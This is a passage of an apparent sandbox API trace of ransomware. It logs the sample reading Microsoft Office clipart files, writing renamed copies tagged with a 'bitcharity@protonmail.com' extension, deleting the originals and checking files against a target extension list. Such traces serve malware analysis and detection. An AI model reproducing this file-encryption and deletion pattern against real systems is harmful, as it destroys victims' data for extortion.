(in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.286] SetEndOfFile (hFile=0x10b0) returned 1 [0296.286] CloseHandle (hObject=0x10b0) returned 1 [0296.286] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.286] SetEndOfFile (hFile=0x10b8) returned 1 [0296.287] CloseHandle (hObject=0x10b8) returned 1 [0296.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1 [0296.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.287] lstrlenW (lpString=".doc") returned 4 [0296.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.287] lstrlenW (lpString=".docx") returned 5 [0296.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.287] lstrlenW (lpString=".pdf") returned 4 [0296.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.288] lstrlenW (lpString=".xls") returned 4 [0296.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.288] lstrlenW (lpString=".xlsx") returned 5 [0296.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.288] lstrlenW (lpString=".ppt") returned 4 [0296.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.288] lstrlenW (lpString=".zip") returned 4 [0296.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.288] lstrlenW (lpString=".rar") returned 4 [0296.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.288] lstrlenW (lpString=".bz2") returned 4 [0296.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.288] lstrlenW (lpString=".7z") returned 3 [0296.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.288] lstrlenW (lpString=".dbf") returned 4 [0296.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.288] lstrlenW (lpString=".1cd") returned 4 [0296.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.288] lstrlenW (lpString=".jpg") returned 4 [0296.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.288] lstrlenW (lpString=".doc") returned 4 [0296.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.288] lstrlenW (lpString=".docx") returned 5 [0296.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.289] lstrlenW (lpString=".pdf") returned 4 [0296.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.289] lstrlenW (lpString=".xls") returned 4 [0296.289] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.289] lstrlenW (lpString=".xlsx") returned 5 [0296.289] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.289] lstrlenW (lpString=".ppt") returned 4 [0296.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.289] lstrlenW (lpString=".zip") returned 4 [0296.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.289] lstrlenW (lpString=".rar") returned 4 [0296.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.289] lstrlenW (lpString=".bz2") returned 4 [0296.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.289] lstrlenW (lpString=".7z") returned 3 [0296.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.289] lstrlenW (lpString=".dbf") returned 4 [0296.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.289] lstrlenW (lpString=".1cd") returned 4 [0296.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68 [0296.289] lstrlenW (lpString=".jpg") returned 4 [0296.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.290] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.290] lstrlenW (lpString="DD01180_.WMF") returned 12 [0296.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.290] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2084) returned 1 [0296.290] CloseHandle (hObject=0x10b8) returned 1 [0296.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0296.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.291] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.291] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0296.291] GetLastError () returned 0x0 [0296.291] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x824, lpOverlapped=0x0) returned 1 [0296.464] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x830, lpOverlapped=0x0) returned 1 [0296.465] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.465] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.465] SetEndOfFile (hFile=0x10b0) returned 1 [0296.466] CloseHandle (hObject=0x10b0) returned 1 [0296.466] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.466] SetEndOfFile (hFile=0x10b8) returned 1 [0296.466] CloseHandle (hObject=0x10b8) returned 1 [0296.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0296.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.467] lstrlenW (lpString=".doc") returned 4 [0296.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.467] lstrlenW (lpString=".docx") returned 5 [0296.467] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.467] lstrlenW (lpString=".pdf") returned 4 [0296.467] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.467] lstrlenW (lpString=".xls") returned 4 [0296.467] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.467] lstrlenW (lpString=".xlsx") returned 5 [0296.467] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.467] lstrlenW (lpString=".ppt") returned 4 [0296.467] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.468] lstrlenW (lpString=".zip") returned 4 [0296.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.468] lstrlenW (lpString=".rar") returned 4 [0296.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.468] lstrlenW (lpString=".bz2") returned 4 [0296.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.468] lstrlenW (lpString=".7z") returned 3 [0296.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.468] lstrlenW (lpString=".dbf") returned 4 [0296.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.468] lstrlenW (lpString=".1cd") returned 4 [0296.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.468] lstrlenW (lpString=".jpg") returned 4 [0296.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.468] lstrlenW (lpString=".doc") returned 4 [0296.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.468] lstrlenW (lpString=".docx") returned 5 [0296.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.469] lstrlenW (lpString=".pdf") returned 4 [0296.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.469] lstrlenW (lpString=".xls") returned 4 [0296.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.469] lstrlenW (lpString=".xlsx") returned 5 [0296.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.469] lstrlenW (lpString=".ppt") returned 4 [0296.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.469] lstrlenW (lpString=".zip") returned 4 [0296.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.469] lstrlenW (lpString=".rar") returned 4 [0296.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.469] lstrlenW (lpString=".bz2") returned 4 [0296.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.469] lstrlenW (lpString=".7z") returned 3 [0296.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.469] lstrlenW (lpString=".dbf") returned 4 [0296.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.469] lstrlenW (lpString=".1cd") returned 4 [0296.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0296.469] lstrlenW (lpString=".jpg") returned 4 [0296.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.469] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.470] lstrlenW (lpString="DD01366_.WMF") returned 12 [0296.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.470] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=1768) returned 1 [0296.470] CloseHandle (hObject=0x10b8) returned 1 [0296.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x220 [0296.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.470] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.470] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0296.471] GetLastError () returned 0x0 [0296.471] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x6e8, lpOverlapped=0x0) returned 1 [0296.544] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x6f0, lpOverlapped=0x0) returned 1 [0296.545] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.545] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.545] SetEndOfFile (hFile=0x10b0) returned 1 [0296.545] CloseHandle (hObject=0x10b0) returned 1 [0296.546] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.546] SetEndOfFile (hFile=0x10b8) returned 1 [0296.546] CloseHandle (hObject=0x10b8) returned 1 [0296.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0296.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.547] lstrlenW (lpString=".doc") returned 4 [0296.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.547] lstrlenW (lpString=".docx") returned 5 [0296.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.547] lstrlenW (lpString=".pdf") returned 4 [0296.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.547] lstrlenW (lpString=".xls") returned 4 [0296.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.547] lstrlenW (lpString=".xlsx") returned 5 [0296.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.547] lstrlenW (lpString=".ppt") returned 4 [0296.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.547] lstrlenW (lpString=".zip") returned 4 [0296.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.547] lstrlenW (lpString=".rar") returned 4 [0296.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.547] lstrlenW (lpString=".bz2") returned 4 [0296.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.547] lstrlenW (lpString=".7z") returned 3 [0296.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.547] lstrlenW (lpString=".dbf") returned 4 [0296.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.548] lstrlenW (lpString=".1cd") returned 4 [0296.548] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.548] lstrlenW (lpString=".jpg") returned 4 [0296.548] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.548] lstrlenW (lpString=".doc") returned 4 [0296.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.548] lstrlenW (lpString=".docx") returned 5 [0296.548] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.548] lstrlenW (lpString=".pdf") returned 4 [0296.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.548] lstrlenW (lpString=".xls") returned 4 [0296.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.548] lstrlenW (lpString=".xlsx") returned 5 [0296.548] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.548] lstrlenW (lpString=".ppt") returned 4 [0296.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.548] lstrlenW (lpString=".zip") returned 4 [0296.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.548] lstrlenW (lpString=".rar") returned 4 [0296.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.548] lstrlenW (lpString=".bz2") returned 4 [0296.549] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.549] lstrlenW (lpString=".7z") returned 3 [0296.549] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.549] lstrlenW (lpString=".dbf") returned 4 [0296.549] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.549] lstrlenW (lpString=".1cd") returned 4 [0296.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 68 [0296.549] lstrlenW (lpString=".jpg") returned 4 [0296.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.549] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0296.549] lstrlenW (lpString="DD01586_.WMF") returned 12 [0296.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.549] GetFileSizeEx (in: hFile=0x10b8, lpFileSize=0x2e3ff14 | out: lpFileSize=0x2e3ff14*=2324) returned 1 [0296.549] CloseHandle (hObject=0x10b8) returned 1 [0296.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220 [0296.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0296.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b8 [0296.550] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.550] SetFilePointerEx (in: hFile=0x10b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10b0 [0296.550] GetLastError () returned 0x0 [0296.550] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x914, lpOverlapped=0x0) returned 1 [0296.602] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0x920, lpOverlapped=0x0) returned 1 [0296.603] ReadFile (in: hFile=0x10b8, lpBuffer=0x39f2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesRead=0x2e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.603] WriteFile (in: hFile=0x10b0, lpBuffer=0x39f2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x39f2020*, lpNumberOfBytesWritten=0x2e3fc94*=0xec, lpOverlapped=0x0) returned 1 